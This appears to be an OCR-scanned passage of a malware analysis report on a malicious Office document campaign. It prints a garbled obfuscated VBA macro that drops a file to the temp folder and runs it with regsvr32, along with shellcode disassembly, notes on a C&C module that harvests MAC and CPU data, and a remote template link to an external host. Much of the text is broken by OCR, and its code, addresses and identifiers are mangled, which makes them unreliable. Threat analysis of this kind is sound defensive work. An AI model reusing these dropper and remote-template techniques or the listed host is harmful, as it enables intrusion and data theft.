ad9b812a 88h2- 454¢ 989f- 7bb5fe98717e.0le regsvr32.exe |

=X TR 201 0 R 2 b S5 E 4 Hiln s il bR MRS — Nodulel (R0

IFEFE) ﬂ |Autol]pen

Set mizhiplfskdz = jezwbsouxmfrniZbutu
End If
Hext jezwbsowxmfniZbutu
If mjzhfpk?skdr Is Hothing Then Exit Subl

=3 egprspddivhi trulnepfvpwke = " hdoc—addbE 12 a—G0hE-454c- 980 F-ThES £e95T1Te. ala”
xzohwlbege = Enwirond (“TEME")

bldefyball xzobhwlbege

xzohwlbege = xzohwlbeze & egprspidlvhitzulnepfvpwke

ReDim szgembygipmdShierqq(1553407) Az Byte
frupSzsg = mizhipkZsldz. TextFrame. TextRange Text
xeribejbslafpesxuvg szgembyzipmdohjerqq, frupSzsz

dzujulftdecotqnixkertzqgw = FreeFile

Open xrohwlbege For Binary A= #drujulftdeotgnixkeztggw
Fut #drmjulftdectqnixkeztzgy, , szgembygipmdShjeraqq
Cloze #drujulftdeotqnixkeztzgy
tdjgpqusddzsludr = “regsvr3Z. exe 7
tdjgpqusddzsludr = tdjgpqusddzsludr & xzohwlbege
tdjgpqusddzsludr = tdjgpqusddzsludr & "7
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0oooc9sC (BA 1C 69 3B 3D SF EC 3B D6 B& 86 3B 28 47 57 53 ir=_ : ; (GUS
0000Ce7C |28 47 57 A3 40 47 §7 A3 90 2F 57 A3 90 AF 3F A3 (GW BGW W 2

8 2 0x4F96 * 0x6C800 = 0x21BB13000
8 0x1BB13000 O0x2E65* 0x74 = 0x1505C4
0x12000 Ox3AD 1 (0x1BB13000+ 0x12000) | (0x1505C4+0x3AD) = 0x1BB25000 |
0x00150971 =1BB75971 1BB75971 0x04 4
] 0x08 0x00000001 Shellcodd 0x0C
Shellcodd doc File- aff94b08- 6d9f- 48¢c5- 9900-
5bee8ef5ab33.docx 0x00000002 ]

[H Resource Hacker — “$doc-ad9b812a—88b2-454c—989f—Thb5feS8T1Te. ole
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004B697A[" E3 9A JECKZ SHORT madoc.00406916 EAX 80008000
BO4B697C( FB STI ECK BO0OB4ET
9O468697D( E8 SDIE1CT7  |CALL 175CATDF EDX 76628008 kerneld2.766208000
00486982 D6 SALC EBX 766D638C Kerneld2.766D636C
00466983 A9 3B7D2u90 | TEST EAX,Bx90247D3B ESP B012FFu8
004656988 (" OFB5 SDFFFFFF |JNZ madoc.B846691B EBP_B012FF54
(1] NOP ESI 766DE485 ASCIT "UirtualAllocEx"
0046698F| 58 POP EAX EDT ES53RUSE
00466990 98 NOP
86486091( B8BS8 24 HOU EBX,DUORD PTR DS:[EAX+0x24] E1P JHMSNGSRE] nadoc. 0040598E
00466994 98 NOP C 8 ES 0023 B(FFFFFFFF)
00466995(, EB BA JHP SHORT madoc . B84069A1 P 1 CS BO1B B(FFFFFFFF)
00466997 B9 BCHZELCT MOU ECX, 0xC1EN628C A8 SS 0023 O(FFFFFFFF)
0O4B699C| E6 13 0uT 0x13,AL Z1 DS 8023 B(FFFFFFFF)
DO4BGIYE( B4 5A XOR AL, Bx5A S 8 FS 8038 7FFDF BOB(FFF)
004669A8 B B1D39066 | MOU EAX,0x6696D381 T 8 GS 8000
DO4B6IAS |  BBOCUB HOU ECX,DWORD PTR DS:[EBX+ECK»2] DB
004B69A8( 98 HoP 0 8 LastErr ERROR_SUCCESS (08890089)
0O4B69A9 (., EB B9 JiiP SHORT madoc . 89486984
BO4B69AB|  BFEE1D PHAXSW MH3,QWORD PTR DS:[EBX] EFL 00000246 (NO,NB.E.BE, NS, PE.GE,LE)
BO4B69RE| 2862 91 AND BYTE PTR DS:[EDX-B8x6F],AH ST enpty 8.8
004669B1(- E9 CAD7BBS8 | JHP S8CCL18E ST1 empty 8.0
00466986 1C 90 SBB AL, 0x90 ST2 empty 8.0
004669B8(, EB 6B JHP SHORT madoc.B84869C5 ST3 empty 8.0
004669BA(  OF ST4 enpty 8.0
004B69BB|  18D2 SBB DL ,DL ST5 empty 8.0
004669BD| 2D C561A748 | SUB EAX,Ox48A761CS ST6 empty 8.0
004669C2(, 7F 17 JG SHORT madoc.8684869DB ST7 empty 8.0
004B69CH| 8801 MOU BYTE PTR DS:[ECK],AL o 3210 ESPUDZD
132 4
shellcode C&C ret
BO200ER| 56 PUSH ESI
BO200EB| 57 PUSH EDI
DO200EC| 68 B2D9C8SF  (PUSH BxGFCBDYE2
06286F1| FFDS CALL EBP recefERHEIREA|\
00200F3| 8036 HOV ESI,DWORD PTR DS:[ESI]
BO200F5| 6A 4O PUSH Bx40
00200F7| 68 BO106080  |PUSH 0x1008
BO200FC| 56 PUSH ESI
00200FD| 6A 80 PUSH 0x0
DO200FF| 68 5BAMS3ES  [PUSH BXE5S53A45S8
0626164| FFDS CALL EBP RIS R A A A=)
93 XCHG EAX,EBX
00201067 Y] PUSH EBX AR A R
0020168 6A B0 PUSH Bx0
002010R| 56 PUSH ESI
peze1eB| 53 PUSH EBX
Be2918C| 57 PUSH EDI
802018D| 68 B2D9C8SF  PUSH Bx5FC8DYE2
0826112| FFD5 CALL EBP TR
8028114| 81C3 ADD EBX,EAX
0020116 29C6 SUB ESI,EAX
0020118|" 75 EE JHZ SHORT 90620108 N
agzaital o3 B EIE e
0020118 0008 ADD BYTE PTR DS:[EAX].AL
an2o011n AAOA ann RYTF PTR NX-TFAX1 Al
133 4
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137 MSAServices 1

MSAServices C&C 745930
0xB61CA

[1 Data)

Jroam ;

138 MSAServices 2

MSAServices C&C 1
1 1 1 CPU 1 1 MAC ]

Tdentit

IPEnabled from

139 MSAServices 3

MSAServices Processor
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C&C 1 1 cmd
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141 MSAServices

2
2019 12

Inpage rtf

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
- <Relationships xmins="http:/ fschemas.openxmlformats.org/package/2006/relationships":

<Relationship 1d="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"

Target="http:/ /quartzu.hol.es/mso/x64/x32/section/update’ TargetMode="External" />
</Relationships=
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shellcode
0x93 PE

° ML ERARS(2019-2020) “



ADT 4 8 ik A5 38 52

CAProgramData Commcn

shellcode

Xxx.tmp

rundll32.exe
skydriveshell64.dll

rundll32.exe
cmd

skydriveshell64.dl
skydriveshell64.dll

X098765432198.exe
dll

tmp

Core.dll

]

URL

B new 10 = oopd059. tmﬂl

o Rk

m

ISR ]

ISR ]

RdPa R OPa

W R

tmp

B iR AR PID =154 =iEs MTEEH

System Idle Process 0 Services 4] 24 K
Sy=tem 4 Services 4] 152 ¥
EmM33 . X 344 Services a 348 K
CSrss.exe 444 Services 4] 1,220 ¥
wininit.exe 496 Services a 260 K
CErss.exe 508 Console 1 6,316 ¥
winlogon.exe 556 Console 1 296 K
services.exe 600 Services 4] 3,172 K
lsass.exe 616 Services 4] 2,488 K
l=zm.exe 628 Services a 908 K
svchost.exe 736 Services a 2,680 K
vmacthlp.exe 244 Services 4] 232 ¥
GGPCRIP.exe 876 Services a 13,3596 K
svchost . exe 1024 Services 4] 3,372 K
svchost.exe 1160 Services a 6,396 K
svchost.exe 1208 Services a 38,820 K
svchost.exe 1240 Services a 12,856 K
svchost.exe 1380 Services a 3,900 K
svchost.exe 1480 Services a 4,148 K
spoolsv.exe 1608 Services a 2,108 K
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